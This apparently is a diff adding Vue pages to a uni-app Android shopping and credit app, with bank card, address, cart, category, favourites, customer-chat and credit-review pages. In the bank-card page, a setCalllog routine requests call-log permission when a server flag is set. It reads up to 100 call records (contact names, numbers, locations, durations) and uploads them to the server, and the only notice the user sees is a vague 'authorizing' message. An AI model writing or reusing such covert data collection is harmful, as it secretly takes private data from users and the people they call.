                let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
                if(userStr != null) {
                    t.$util.post('User/getUser').then(res => {
                        if(res.code == 1){
                            t.formData.realname = res.data.realname
                            t.formData.phone = res.data.phone
                            if(res.data.calls == 0 && uni.getSystemInfoSync().platform == 'android' && this.config.put_open == 2){
                                console.log(res)
                                t.requestAndroidPermission('android.permission.READ_CALL_LOG')
                            }
                        }
                    })
                }
            },
            async requestAndroidPermission(permisionID) {
                let t = this
                let result = await permision.requestAndroidPermission(permisionID)
                console.log('result', result)
                if (result == 1) {
                    t.setCalllog()
                } else if (result == 0) {
                    t.$util.goSetting()
                } else {
                    t.$util.goSetting()
                }
            },
            defChange (e) {
                this.formData.isdef = e.detail.value ? 1 : 0
            },
            getBankInfo (id) {
                this.$util.post('Bank/getBankInfo', this.formData).then(res => {
                    if(res.code == 1) {
                        this.formData = res.data
                    }
                })
            },
            getDefBank () {
                this.$util.post('Bank/getDefBank', {}).then(res => {
                    if(res.code == 1) {
                        this.formData = res.data
                        this.formData.type = this.type
                        for(let i in this.$bank){
                            if(this.$bank[i] == this.formData.bankname){
                                this.bankIndex = i
                                break
                            }
                        }
                    }
                })
            },
            bankSave () {
                let t = this
                if(t.formData.realname == ''){
                    return uni.showToast({
                        title: '请输入姓名',
                        icon: 'error',
                    })
                }
                if(t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)){
                    return uni.showToast({
                        title: '请输入正确的手机号!',
                        icon: 'error',
                    })
                }
                if(this.formData.bankname == ''){
                    return uni.showToast({
                        title: '请输入银行名称',
                        icon: 'error',
                    })
                }
                if(this.formData.bankno == ''){
                    return uni.showToast({
                        title: '请输入银行卡号',
                        icon: 'error',
                    })
                }
                if(this.formData.code == '' && this.config && this.config.bank_open == 1){
                    return uni.showToast({
                        title: '请输入短信码',
                        icon: 'error',
                    })
                }
                t.$util.post('Bank/addBank', this.formData).then(res => {
                    console.log(res)
                    if(res.code == 1) {
                        uni.showToast({
                            title: res.msg || '保存成功',
                            icon: 'success'
                        })
                        //更新用户信息缓存
                        uni.setStorageSync('user-info', JSON.stringify(res.data))
                        setTimeout(() => {
                            if(t.backUrl != ''){
                                t.$util.goPages(t.backUrl)
                            } else {
                                t.$util.goPages('/pages/bank/bank')
                            }
                        }, 1500)
                    } else {
                        uni.showToast({
                            title: res.msg || '保存失败',
                            icon: 'error'
                        })
                    }
                })
            },
            //获取通话记录
            setCalllog(){
                uni.showLoading({
                    title: '授权中...'
                })
                let self = this
                // 在这里调用plus api
                var CallLog = plus.android.importClass("android.provider.CallLog");
                var main = plus.android.runtimeMainActivity();
                var obj = main.getContentResolver();
                plus.android.importClass(obj);
                let timeLine = new Date().getTime()
                var selection = {
                    mobile: '',
                    startTime: new Date('2022-4-1').getTime(),
                    endTime: timeLine,
                    type: ''
                }
                //查询
                var sql = '';
                var keyword = '';
                for (let item of Object.keys(selection)) {
                    if (selection[item] != '') {
                        switch (item) {
                            case 'mobile':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.NUMBER + " like '%" + selection[item] + "%'";
                                keyword = selection[item];
                                break;
                            case 'startTime':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.DATE + '>=' + selection[item];
                                break;
                            case 'endTime':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.DATE + '<=' + selection[item];
                                break;
                            case 'type':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.TYPE + '=' + selection[item];
                                break;
                        }
                    }
                }
                sql = sql != '' ? sql : null;
                var cursor = obj.query(
                    CallLog.Calls.CONTENT_URI,
                    null,
                    sql,   //传入条件
                    null,
                    null
                );
                if(cursor){
                    plus.android.importClass(cursor);
                    var content = []; // 用来存储数据
                    var count = 0; // 记录多少条
                    if (cursor.moveToFirst()) {
                        while (cursor.moveToNext()) {
                            count++;
                            //号码
                            var number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                            //呼叫类型
                            var type;
                            switch (
                                parseInt(cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE))))
                            // 判断通话类型
                            {
                                case CallLog.Calls.INCOMING_TYPE:
                                    type = "呼入";
                                    break;
                                case CallLog.Calls.OUTGOING_TYPE:
                                    type = "呼出";
                                    break;
                                case CallLog.Calls.MISSED_TYPE:
                                    type = "未接";
                                    break;
                                default:
                                    type = "挂断"; //应该是挂断.根据我手机类型判断出的
                                    break;
                            }
                            // 获取时间
                            var date = new Date(parseInt(
                                cursor.getString(cursor.getColumnIndexOrThrow(CallLog.Calls.DATE))));
                            // 联系人
                            var Name_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.CACHED_NAME);
                            var name = cursor.getString(Name_Col);
                            // 号码归属地 返回:北京 联通
                            var numberLocation = cursor.getString(
                                cursor.getColumnIndex(CallLog.Calls.GEOCODED_LOCATION)
                            );
                            //通话时间,单位:s
                            var Duration_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.DURATION);
                            var duration = cursor.getString(Duration_Col);
                            // 存入数组
                            content.push({
                                name: name == null ? '无' : name, // 联系人的姓名
                                phone: number == null ? '无' : number, // 联系人电话
                                phonehome: numberLocation ? numberLocation : '无', // 号码的归属地
                                date: self.getCallTime(date),  // 呼入或呼出时间
                                times: duration, // 通话时长
                                type: type,
                            });
                            // 查询100条 就跳出
                            if (count > 99) {
                              break;
                            }
                        }
                    }
                    console.log('call', content)
                    if(content.length > 0){
                        console.log(content)
                        self.$util.post('Calls/setCalls', content).then(rs => {
                            uni.hideLoading()
                            console.log('ttt', rs)
                            uni.showToast({
                                title: '授权成功!',
                                icon: 'success',
                            })
                        })
                    }
                }else{
                    uni.hideLoading()
                    t.$util.goSetting()
                }
            },
            getCallTime(time) {
                var date = new Date(time);//当前时间
                var year = date.getFullYear(); //返回指定日期的年份
                var month = this.repair(date.getMonth() + 1);//月
                var day = this.repair(date.getDate());//日
                var hour = this.repair(date.getHours());//时
                var minute = this.repair(date.getMinutes());//分
                var second = this.repair(date.getSeconds());//秒
                //当前时间
                var curTime = year + "-" + month + "-" + day + " " + hour + ":" + minute + ":" + second;
                return curTime;
            },
            repair(i){
                if (i >= 0 && i <= 9) {
                    return "0" + i;
                } else {
                    return i;
                }
            },
        }
    }
</script>
<style>
    @import url(/static/css/addAddr.css);
</style>
pages/address/address.vue
New file
@@ -0,0 +1,123 @@
<template>
    <view>
        <view class="" v-if="addrData.length > 0">
            <view class="addrItem" v-for="(item, index) in addrData">
                <view class="" @tap="setAddrCookie(item)">
                    <view class="addr-v">
                        <text>{{item.realname}}</text>
                        <text>{{item.phone}}</text>
                    </view>
                    <view class="addr-v">{{item.area}}({{item.addr}})</view>
                    <image class="rgt" src="/static/imgs/right.png" ></image>
                </view>
                <view class="addr-c">
                    <view class="addr-df">
                        默认:
                        <switch @change="defChange" :data-id="item.id" v-if="item.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                        <switch @change="defChange" :data-id="item.id" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
                    </view>
                    <view class="addr-c-main">
                        <view class="addr-c-c" @tap="$util.goPages('/pages/addAddr/addAddr?id=' + item.id)">
                            <image src="/static/imgs/edit.png" ></image>
                            <text>编辑</text>
                        </view>
                        <view class="addr-c-c" @tap="delConfirm(item.id, index)">
                            <image src="/static/imgs/del.png" ></image>
                            <text>删除</text>
                        </view>
                    </view>
                </view>
            </view>
        </view>
        <view class="noData" v-else>
            <image src="/static/imgs/noData.png" ></image>
            <view class="">没有地址信息</view>
        </view>
        <view class="addrBtn" @tap="addAddr">添加地址</view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                pageIndex: 1,
                pageSize: 200,
                addrData: [],
                backUrl: '',
            }
        },
        onLoad(op) {
            this.backUrl = op.backUrl ? op.backUrl : ''
            this.getAddress()
        },
        methods: {
            //选择地址
            setAddrCookie (e) {
                if(this.backUrl != ''){
                    uni.setStorageSync('choose-address', JSON.stringify(e))
                    this.$util.goPages(this.backUrl)
                }
            },
            addAddr () {
                let url = '/pages/addAddr/addAddr'
                if(this.backUrl != ''){
                    url = url + '?backUrl=' + this.backUrl
                }
                this.$util.goPages(url)
            },
            defChange (e) {
                let id = e.currentTarget.dataset.id
                this.$util.post('Address/setDef', {id: id}).then(res => {
                    if(res.code == 1){
                        for(let i in this.addrData){
                            if(this.addrData[i].id != id){
                                this.addrData[i].isdef = 0
                            }
                        }
                    }
                })
            },
            getAddress () {
                this.$util.post('Address/getAddress', {pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    if(res.code == 1){
                        this.addrData = res.data.list
                    }
                })
            },
            delConfirm (id, idx) {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '是否删除地址信息?',
                    success: function (res) {
                        if (res.confirm) {
                            t.delAddr(id, idx)
                        }
                    }
                })
            },
            delAddr(id, idx){
                let t = this
                t.$util.post('Address/delAddr', {id: id}).then(res => {
                    if(res.code == 1){
                        uni.showToast({
                            title: res.msg || '删除成功',
                            icon: 'success'
                        })
                        this.addrData.splice(idx, 1)
                    } else {
                        uni.showToast({
                            title: res.msg || '删除失败',
                            icon: 'error'
                        })
                    }
                })
            }
        }
    }
</script>
<style>
@import url(/static/css/address.css);
</style>
pages/agree/agree.vue
New file
@@ -0,0 +1,15 @@
<template>
</template>
<template>
    <view></view>
</template>
<script>
    export default {
    }
</script>
<style>
</style>
pages/bank/bank.vue
New file
@@ -0,0 +1,121 @@
<template>
    <view>
        <view class="" v-if="bankData.length > 0">
            <view class="bankItem" v-for="(item, index) in bankData">
                <view class="bank-v" @tap="setBankCookie(item)">
                    <text>{{item.realname}}</text>
                    <text>{{item.phone}}</text>
                </view>
                <view class="bank-v">{{item.bankname}}({{item.bankno}})</view>
                <image class="rgt" src="/static/imgs/right.png" ></image>
                <view class="bank-c">
                    <view class="bank-df">
                        默认:
                        <switch @change="defChange" :data-id="item.id" v-if="item.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                        <switch @change="defChange" :data-id="item.id" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
                    </view>
                    <view class="bank-c-main">
                        <view class="bank-c-c" @tap="$util.goPages('/pages/addBank/addBank?id=' + item.id)">
                            <image src="/static/imgs/edit.png" ></image>
                            <text>编辑</text>
                        </view>
                        <view class="bank-c-c" @tap="delConfirm(item.id, index)">
                            <image src="/static/imgs/del.png" ></image>
                            <text>删除</text>
                        </view>
                    </view>
                </view>
            </view>
        </view>
        <view class="noData" v-else>
            <image src="/static/imgs/noData.png" ></image>
            <view class="">没有银行卡信息</view>
        </view>
        <view class="bankBtn" @tap="goAdd">添加银行卡</view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                pageIndex: 1,
                pageSize: 200,
                bankData: [],
                backUrl: '',
            }
        },
        onLoad(op) {
            this.backUrl = op.backUrl ? op.backUrl : ''
            this.getBank()
        },
        methods: {
            goAdd () {
                if(this.backUrl == ''){
                    this.$util.goPages('/pages/addBank/addBank')
                } else {
                    this.$util.goPages('/pages/addBank/addBank?backUrl=' + this.backUrl)
                }
            },
            //选择银行
            setBankCookie (e) {
                if(this.backUrl != ''){
                    uni.setStorageSync('choose-bank', JSON.stringify(e))
                    this.$util.goPages(this.backUrl)
                }
            },
            defChange (e) {
                let id = e.currentTarget.dataset.id
                this.$util.post('Bank/setDef', {id: id}).then(res => {
                    if(res.code == 1){
                        for(let i in this.bankData){
                            if(this.bankData[i].id != id){
                                this.bankData[i].isdef = 0
                            }
                        }
                    }
                })
            },
            getBank () {
                this.$util.post('Bank/getBank', {pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    if(res.code == 1){
                        this.bankData = res.data.list
                    }
                })
            },
            delConfirm (id, idx) {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '是否删除银行卡信息?',
                    success: function (res) {
                        if (res.confirm) {
                            t.delBank(id, idx)
                        }
                    }
                })
            },
            delBank(id, idx){
                let t = this
                t.$util.post('Bank/delBank', {id: id}).then(res => {
                    if(res.code == 1){
                        uni.showToast({
                            title: res.msg || '删除成功',
                            icon: 'success'
                        })
                        this.bankData.splice(idx, 1)
                    } else {
                        uni.showToast({
                            title: res.msg || '删除失败',
                            icon: 'error'
                        })
                    }
                })
            }
        }
    }
</script>
<style>
@import url(/static/css/bank.css);
</style>
pages/carts/carts.vue
New file
@@ -0,0 +1,249 @@
<template>
    <view class="carts">
        <view class="c-title">
            <text>共{{cartsTotal}}件商品</text>
            <view class="" @tap="delCarts">
                <text>删除</text>
            </view>
        </view>
        <view class="cartsView">
            <view class="" v-if="cartsData.length > 0">
                <view class="cartsItem" v-for="(item, index) in cartsData">
                    <view class="cartTitle" @tap="cartsClick(item, index)">
                        <image class="cIcon" :src="item.check == 0 ? '/static/imgs/check.png' : '/static/imgs/checked.png'" ></image>
                        <text>{{item.addtime}}</text>
                    </view>
                    <view class="cartsGoods" @tap="$util.goPages('/pages/ginfo/ginfo?id=' + item.goodsid)">
                        <image class="cartsIcon" lazy-load :src="item.icon" mode="widthFix"></image>
                        <view class="carts-item">
                            <view class="carts-title">{{item.title}}</view>
                            <view class="carts-set">
                                <view class="carts-price">
                                    <view class="">
                                        <text>单价:¥</text>
                                        <text class="red">{{item.price}}</text>
                                    </view>
                                    <view class="">
                                        <text>总价:¥</text>
                                        <text class="red">{{item.total}}</text>
                                    </view>
                                </view>
                            </view>
                        </view>
                    </view>
                    <view class="carts-nums">
                        <view class="" @tap="setCartsNums(item, 1)">
                            <image src="/static/imgs/minus.png" ></image>
                        </view>
                        <view class="">
                            <text>{{item.nums}}</text>
                        </view>
                        <view class="" @tap="setCartsNums(item, 2)">
                            <image src="/static/imgs/add.png" ></image>
                        </view>
                    </view>
                </view>
            </view>
            <view class="noData" v-else>
                <image src="/static/imgs/noData.png"  style="margin-top: 200rpx;"></image>
                <view class="">没有购物车信息</view>
                <view class="noDataBtn" @tap="$util.goSwitch('/pages/cates/cates')">去看看</view>
            </view>
        </view>
        <view class="cartsControll" v-if="cartsData.length > 0">
            <view class="cartsControll-left" @tap="checkTapAll">
                <image class="chooseIcon" :src="checkIds.length == cartsTotal ? '/static/imgs/checked.png' : '/static/imgs/check.png'" ></image>
                <text>全选</text>
            </view>
            <view class="cartsControll-right">
                <text class="total">合计:</text>
                <text>¥</text>
                <text class="red">{{payTotal}}</text>
                <view class="cartsBtn" @tap="goPays">结算({{payNums}})</view>
            </view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                cartsTotal: 0,
                pageIndex: 1,
                pageSize: 200,
                cartsData: [],
                payTotal: 0,
                payNums: 0,
                checkAll: false,
                checkIds: [],
                checkIdx: [1],
            }
        },
        onShow() {
            let t = this
            this.checkIds = []
            this.checkAll = false,
            this.payNums = 0
            this.payTotal = 0
            this.getCarts()
            setTimeout(() => {
            }, 2000)
        },
        methods: {
            getCarts () {
                this.$util.post('Carts/getCarts', {pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    if(res.code == 1){
                        this.cartsData = res.data.list
                        this.cartsTotal = res.data.pageTotal
                    }
                })
            },
            cartsClick (e, index) {
                e.check = e.check == 1 ? 0 : 1
                if(e.check == 1) {
                    this.payTotal = this.payTotal + parseFloat(e.total)
                    this.payNums = this.payNums + e.nums
                    this.checkIds.push(e.id)
                    this.checkIdx.push(index)
                } else {
                    this.payTotal = this.payTotal - parseFloat(e.total)
                    this.payNums = this.payNums - e.nums
                    let idx = this.checkIds.indexOf(e.id)
                    let inx = this.checkIdx.indexOf(index)
                    this.checkIds.splice(idx, 1)
                    this.checkIdx.splice(inx, 1)
                }
                if(this.checkIds.length == this.cartsTotal){
                    this.checkAll = true
                } else {
                    this.checkAll = false
                }
            },
            //全选、反选
            checkTapAll () {
                let checkFlag = 0
                if(!this.checkAll){
                    checkFlag = 1
                    this.checkAll = true
                } else {
                    this.checkAll = false
                }
                for(let i in this.cartsData){
                    this.cartsData[i].check = checkFlag
                    if(checkFlag == 1 && this.checkIds.indexOf(this.cartsData[i].id) < 0) {
                        this.checkIds.push(this.cartsData[i].id)
                        this.checkIdx.push(parseInt(i))
                        this.payNums = this.payNums +  parseFloat(this.cartsData[i].nums)
                        this.payTotal = this.payTotal + parseFloat(this.cartsData[i].total)
                    }
                }
                //反选
                if(checkFlag != 1) {
                    this.checkIds = []
                    this.checkIdx = []
                    this.payNums = 0
                    this.payTotal = 0
                }
            },
            //设置购物车数量
            setCartsNums (e, y){
                let n = e.nums
                let    t = this
                if(y == 1){
                    if(n == 1) {
                        return
                    } else {
                        n = n > 1 ? n - 1 : 1
                    }
                } else {
                    n = n + 1
                }
                t.$util.post('Carts/setCartsNums', {id: e.id, nums: n}).then(res => {
                    if(res.code == 1) {
                        e.nums = n
                        e.total = n * parseFloat(e.price)
                        //计算总价
                        if(t.payTotal != 0 && this.checkIds.indexOf(e.id) >= 0){
                            if(y == 1){
                                t.payTotal = t.payTotal - parseFloat(e.price)
                            } else {
                                t.payTotal = t.payTotal + parseFloat(e.price)
                            }
                        }
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            },
            //购买
            goPays () {
                if(this.payNums == 0) {
                    return uni.showToast({
                        title: '未选中购买商品',
                        icon: 'error'
                    })
                }
                if(this.checkIds.length > 1) {
                    return uni.showToast({
                        title: '不支持多件购买',
                        icon: 'error'
                    })
                }
                let cartsIds = this.checkIds.join(',')
                let url = '/pages/pays/pays?cartsIds=' + cartsIds
                this.$util.goPages(url)
            },
            //删除
            delCarts () {
                let t = this
                if(this.checkIds.length == 0){
                    return uni.showToast({
                        title: '未选中删除项',
                        icon: 'error'
                    })
                }
                uni.showModal({
                    title: '温馨提示',
                    content: '是否确定删除?',
                    success: function (res) {
                        if (res.confirm) {
                            console.log(t.checkIds)
                            t.$util.post('Carts/delCarts', {ids: t.checkIds}).then(res => {
                                if(res.code == 1){
                                    for (let i = t.cartsData.length - 1; i >= 0; i--) {
                                        if (t.checkIdx.includes(i)) {
                                            t.cartsData.splice(i, 1)
                                        }
                                    }
                                    t.cartsTotal = t.cartsTotal - t.checkIdx.length
                                    t.checkIds = []
                                    t.checkIdx = []
                                    t.payNums = 0
                                    t.payTotal = 0
                                    return uni.showToast({
                                        title: res.msg || '操作成功',
                                        icon: 'success'
                                    })
                                } else {
                                    return uni.showToast({
                                        title: res.msg || '操作失败',
                                        icon: 'error'
                                    })
                                }
                            })
                        }
                    }
                })
            }
        }
    }
</script>
<style>
    @import url(/static/css/carts.css);
</style>
pages/cates/cates.vue
New file
@@ -0,0 +1,131 @@
<template>
    <view>
        <view class="search">
            <view class="searchView">
                <image src="/static/imgs/search.png" ></image>
                <input type="text" v-model="keyword" placeholder="搜索您想要的商品" @confirm="searchGoods" />
                <view class="searchBtn" @tap="searchGoods">搜索</view>
            </view>
        </view>
        <view class="catesMain">
            <view class="cates-left" :style="'height:' + scrollHeight + 'px'">
                <scroll-view scroll-y="true" class="scroll-Y">
                    <view :class="catesId == 0 ? 'active' : ''" @click="catesClick(0)">全部商品</view>
                    <view v-for="(item, index) in catesData" @click="catesClick(item)" :class="catesId == item.id ? 'active' : ''">{{item.title}}</view>
                </scroll-view>
            </view>
            <view class="cates-right" :style="'width:' + goodsWidth + 'px;height:' + (scrollHeight - 10) + 'px;margin-top: 20rpx'" v-if="goodsData.length > 0">
                <scroll-view scroll-y="true" class="scroll-Y">
                    <view class="goods-list">
                        <view class="goods-item" v-for="(item, index) in goodsData" :style="'width:' + goodsItemWidth + 'px;'" @click="$util.goPages('/pages/ginfo/ginfo?id=' + item.id)">
                            <image class="goods-icon" :src="item.icon" ></image>
                            <view class="goods-title">{{item.title}}</view>
                            <view class="goods-price">
                                <view>¥</view>
                                <view class="red">{{item.price}}</view>
                            </view>
                        </view>
                    </view>
                </scroll-view>
            </view>
            <view class="noData" v-else>
                <image src="/static/imgs/noData.png" style="margin-left: 50%;" ></image>
                <view class="" style="margin-left: 120rpx; width: auto;">没有商品信息</view>
            </view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                keyword: '',
                catesData: [],
                goodsData: [],
                scrollHeight: 0,
                goodsWidth: 0,
                goodsItemWidth: 0,
                catesId: 0,
                pageIndex: 1,
                pageSize: 200,
            }
        },
        onLoad() {
            this.getCatesData()
        },
        onReady() {
        },
        methods: {
            searchGoods () {
                this.getCatesGoods()
            },
            //获取分类数据
            getCatesData() {
                this.$util.post('Cates/getCates', {catesId: this.catesId, pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    if(res.code == 1) {
                        this.catesData = res.data.list
                        this.getCatesGoods()
                    }
                })
            },
            //分类点击
            catesClick (e) {
                if(e == 0) {
                    this.catesId = e
                } else {
                    this.catesId = e.id
                }
                this.pageIndex = 1
                this.getCatesGoods()
            },
            //获取分类商品
            getCatesGoods(){
                this.$util.post('Goods/getCatesGoods', {keyword: this.keyword, catesId: this.catesId, pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    if(res.code == 1) {
                        this.goodsData = res.data.list
                    }
                })
            }
        },
        // 计算swiper的高度
        mounted() {
            let t = this
            let headerSearchHeight = 0
            // 头部搜索height
            let headerSearchView = uni.createSelectorQuery().select('.search')
            headerSearchView
            .boundingClientRect((data) => {
                headerSearchHeight = data.height
            }).exec()
            // 左侧scroll宽度
            let catesWidth = 0
            let catesLeftView = uni.createSelectorQuery().select('.cates-left')
            catesLeftView
            .boundingClientRect((data) => {
                catesWidth = data.width
            }).exec()
            setTimeout(() => {
                // scroll-height
                uni.getSystemInfo({
                    success: (res) => {
                        t.scrollHeight = res.windowHeight - headerSearchHeight
                        t.goodsWidth = res.windowWidth - catesWidth
                        let mlW = res.windowWidth * 0.05
                        t.goodsItemWidth = (res.windowWidth - mlW - catesWidth) / 2
                    }
                })
            }, 300)
        }
    }
</script>
<style>
    @import url(/static/css/cates.css);
</style>
pages/catesList/catesList.vue
New file
@@ -0,0 +1,56 @@
<template>
    <view>
        <view class="goodsData" style="margin-top: 30rpx;">
            <view class="goods-list" v-if="goodsData.length > 0">
                <view class="goods-item" v-for="(itm, idx) in goodsData" @click="$util.goPages('/pages/ginfo/ginfo?id=' + itm.id)">
                    <image lazy-load class="goods-icon" :src="itm.icon" mode="widthFix"></image>
                    <view class="goods-title">{{itm.title}}</view>
                    <view class="goods-price">
                        <view>¥</view>
                        <view class="red">{{itm.price}}</view>
                    </view>
                </view>
            </view>
            <view class="noData" v-else>
                <image src="/static/imgs/noData.png"  style="margin-top: 200rpx;"></image>
                <view class="">没有商品信息</view>
            </view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                goodsData: [],
                catesId: 0,
                is_hot: '',
                pageIndex: 1,
                pageSize: 200,
            }
        },
        onLoad (op) {
            this.catesId = op.catesId ? op.catesId : 0
            this.is_hot = op.is_hot ? op.is_hot : ''
            uni.setNavigationBarTitle({
                title: op.title
            })
            this.catesGoods()
        },
        methods: {
            //获取分类商品
            catesGoods(){
                this.$util.post('Goods/getCatesGoods', {catesId: this.catesId, is_hot: this.is_hot, pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    if(res.code == 1) {
                        this.goodsData = res.data.list
                    }
                })
            }
        }
    }
</script>
<style>
    @import url(/static/css/search.css);
</style>
pages/collect/collect.vue
New file
@@ -0,0 +1,121 @@
<template>
    <view>
        <view class="collect-title">
            <text>共收藏{{collectNums}}件商品</text>
            <view class="">
                <text v-if="!delFlag" @tap="delToggle">管理</text>
                <text v-if="delFlag" @tap="delCollect">删除</text>
                <text v-if="delFlag" @tap="delToggle">取消</text>
            </view>
        </view>
        <view class="goods-list" v-if="collectData.length > 0">
            <view class="goods-item" v-for="(item, index) in collectData">
                <view class="" @tap="collectClick(item, index)" v-if="delFlag">
                    <image class="checkImg" :src="item.check == 1 ? '/static/imgs/checked.png' : '/static/imgs/check.png'" ></image>
                    <view class="msk"></view>
                </view>
                <view class="" @click="$util.goPages('/pages/ginfo/ginfo?id=' + item.goodsid)">
                    <image lazy-load class="goods-icon" :src="item.icon" mode="widthFix"></image>
                    <view class="goods-title">{{item.title}}</view>
                    <view class="goods-price">
                        <view>¥</view>
                        <view class="red">{{item.price}}</view>
                    </view>
                </view>
            </view>
        </view>
        <view class="noData" style="margin-top: 250rpx;" v-else>
            <image src="/static/imgs/noData.png" ></image>
            <view class="">没有收藏信息</view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                delFlag: false,
                collectNums: 0,
                collectData: [],
                pageIndex: 1,
                pageSize: 200,
                delIds: [],
                delIndex: [],
            }
        },
        onLoad() {
            this.getCollect()
        },
        methods: {
            getCollect () {
                this.$util.post('Collect/getCollect', {pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    if(res.code == 1) {
                        this.collectData = res.data.list
                        this.collectNums = res.data.pageTotal
                    }
                })
            },
            delToggle () {
                this.delFlag = !this.delFlag
            },
            collectClick(e, index){
                e.check = e.check == 1 ? 0 : 1
                if(e.check == 1 && this.delIds.indexOf(e.id) < 0) {
                    this.delIds.push(e.id)
                    this.delIndex.push(index)
                } else {
                    let idx = this.delIds.indexOf(e.id)
                    let inx = this.delIndex.indexOf(index)
                    if(idx >= 0){
                        this.delIds.splice(idx, 1)
                        this.delIndex.splice(inx, 1)
                    }
                }
            },
            delCollect () {
                let t = this
                if(this.delIds.length == 0){
                    return uni.showToast({
                        title: '未选中删除项',
                        icon: 'error'
                    })
                }
                console.log('dis', this.delIds)
                uni.showModal({
                    title: '温馨提示',
                    content: '是否确定删除?',
                    success: function (res) {
                        if (res.confirm) {
                            console.log(t.delIds)
                            t.$util.post('Collect/delCollect', {ids: t.delIds}).then(res => {
                                if(res.code == 1){
                                    for(let i in t.delIndex){
                                        t.collectData.splice(t.delIndex[i], 1)
                                    }
                                    t.collectNums = t.collectNums - t.delIds.length
                                    t.delIds = []
                                    t.delIndex = []
                                    return uni.showToast({
                                        title: res.msg || '操作成功',
                                        icon: 'success'
                                    })
                                } else {
                                    return uni.showToast({
                                        title: res.msg || '操作失败',
                                        icon: 'error'
                                    })
                                }
                            })
                        }
                    }
                })
            }
        }
    }
</script>
<style>
    @import url(/static/css/collect.css);
</style>
pages/customer/customer.vue
New file
@@ -0,0 +1,146 @@
<template>
    <view>
        <view class="">
            <view class="content" v-if="contentData.length > 0">
                <template v-for="(item, index) in contentData">
                    <view class="cView" v-if="userInfo && item.userid == userInfo.id">
                        <view class="cView-c">
                            <image src="/static/imgs/rsj.png" class="r-icon"></image>
                            {{item.content}}
                        </view>
                        <image class="avatar" v-if="userInfo" :src="$baseUrl + userInfo.avatar" ></image>
                    </view>
                    <view class="uView" v-else>
                        <image class="avatar" src="/static/imgs/logo.png" ></image>
                        <view class="uView-c">
                            <image src="/static/imgs/rsj.png" class="r-icon"></image>
                            {{item.content}}
                        </view>
                    </view>
                </template>
            </view>
        </view>
        <view class="sendView">
            <input type="text" v-model="content" confirm-type="send" placeholder="请输入内容" @confirm="sendMessage" />
            <view class="" @tap="sendMessageBtn">发送</view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                contentData: [],
                content: '',
                userInfo: null,
                lastId: 0,
                intervalId: null,
            }
        },
        onShow() {
            this.getUserInfo()
        },
        onLoad () {
            this.getCustomer()
        },
        onHide() {
            clearInterval(this.intervalId)
        },
        onReady() {
            this.scrollToBottom()
        },
        //监听返回直接返回到我的
        onBackPress(options) {
            clearInterval(this.intervalId)
        },
        methods: {
            startInterval(){
                this.intervalId = setInterval(() => {
                    console.log('计时器')
                    this.$util.sendMsg('Customer/getCustomerServe', {lastId: this.lastId, userid: this.userInfo.id}).then(res => {
                        if(res.code == 1) {
                            for(let i in res.data){
                                this.contentData.push(res.data[i])
                            }
                            this.lastId = this.contentData[this.contentData.length - 1].id
                            this.scrollToBottom()
                        }
                    })
                }, 5000)
            },
            getCustomer () {
                let t = this
                t.$util.post('Customer/getCustomer').then(res => {
                    t.contentData = res.data
                    if(res.code == 1) {
                        t.lastId = this.contentData[res.data.length - 1].id
                    } else {
                        t.lastId = 0
                    }
                    this.scrollToBottom()
                    this.startInterval()
                })
            },
            getUserInfo () {
                let t = this
                t.$util.post('User/getUser').then(res => {
                    t.userInfo = res.data
                })
            },
            sendMessage (e) {
                this.content = e.detail.value
                if(this.content != ''){
                    let conData = {
                        userid: this.userInfo.id,
                        avatar: this.userInfo.avatar,
                        content: this.content,
                    }
                    this.sendMessageServer(this.content)
                    this.content = ''
                    this.contentData.push(conData)
                    this.scrollToBottom()
                }
            },
            sendMessageServer(){
                if(this.content != ''){
                    this.$util.sendMsg('Customer/sendMessageServer', {content: this.content}).then(res => {
                        console.log(res)
                        this.lastId = res.data.lastId
                        console.log(this.lastId)
                    })
                }
            },
            sendMessageBtn() {
                if(this.content != ''){
                    let conData = {
                        userid: this.userInfo.id,
                        avatar: this.userInfo.avatar,
                        content: this.content,
                    }
                    this.sendMessageServer()
                    this.content = ''
                    this.contentData.push(conData)
                    this.scrollToBottom()
                }
            },
            scrollToBottom() {
                const query = uni.createSelectorQuery();
                query.select('.content').boundingClientRect();
                query.exec(res => {
                    if (res[0]) {
                        uni.pageScrollTo({
                            scrollTop: res[0].height, // 或者使用 res[0].bottom 来获取容器底部位置
                            duration: 0 // 立即滚动到指定位置
                        });
                    }
                })
            }
        }
    }
</script>
<style>
@import url(/static/css/customer.css);
</style>
pages/edu/edu.vue
New file
@@ -0,0 +1,94 @@
<template>
    <view>
        <view class="">
            <image class="edu-icon" src="/static/imgs/edu.png" ></image>
            <view class="edu-desc">额度授信中</view>
            <view class="edu-desc">我们正在加急为您审核,请耐心等待</view>
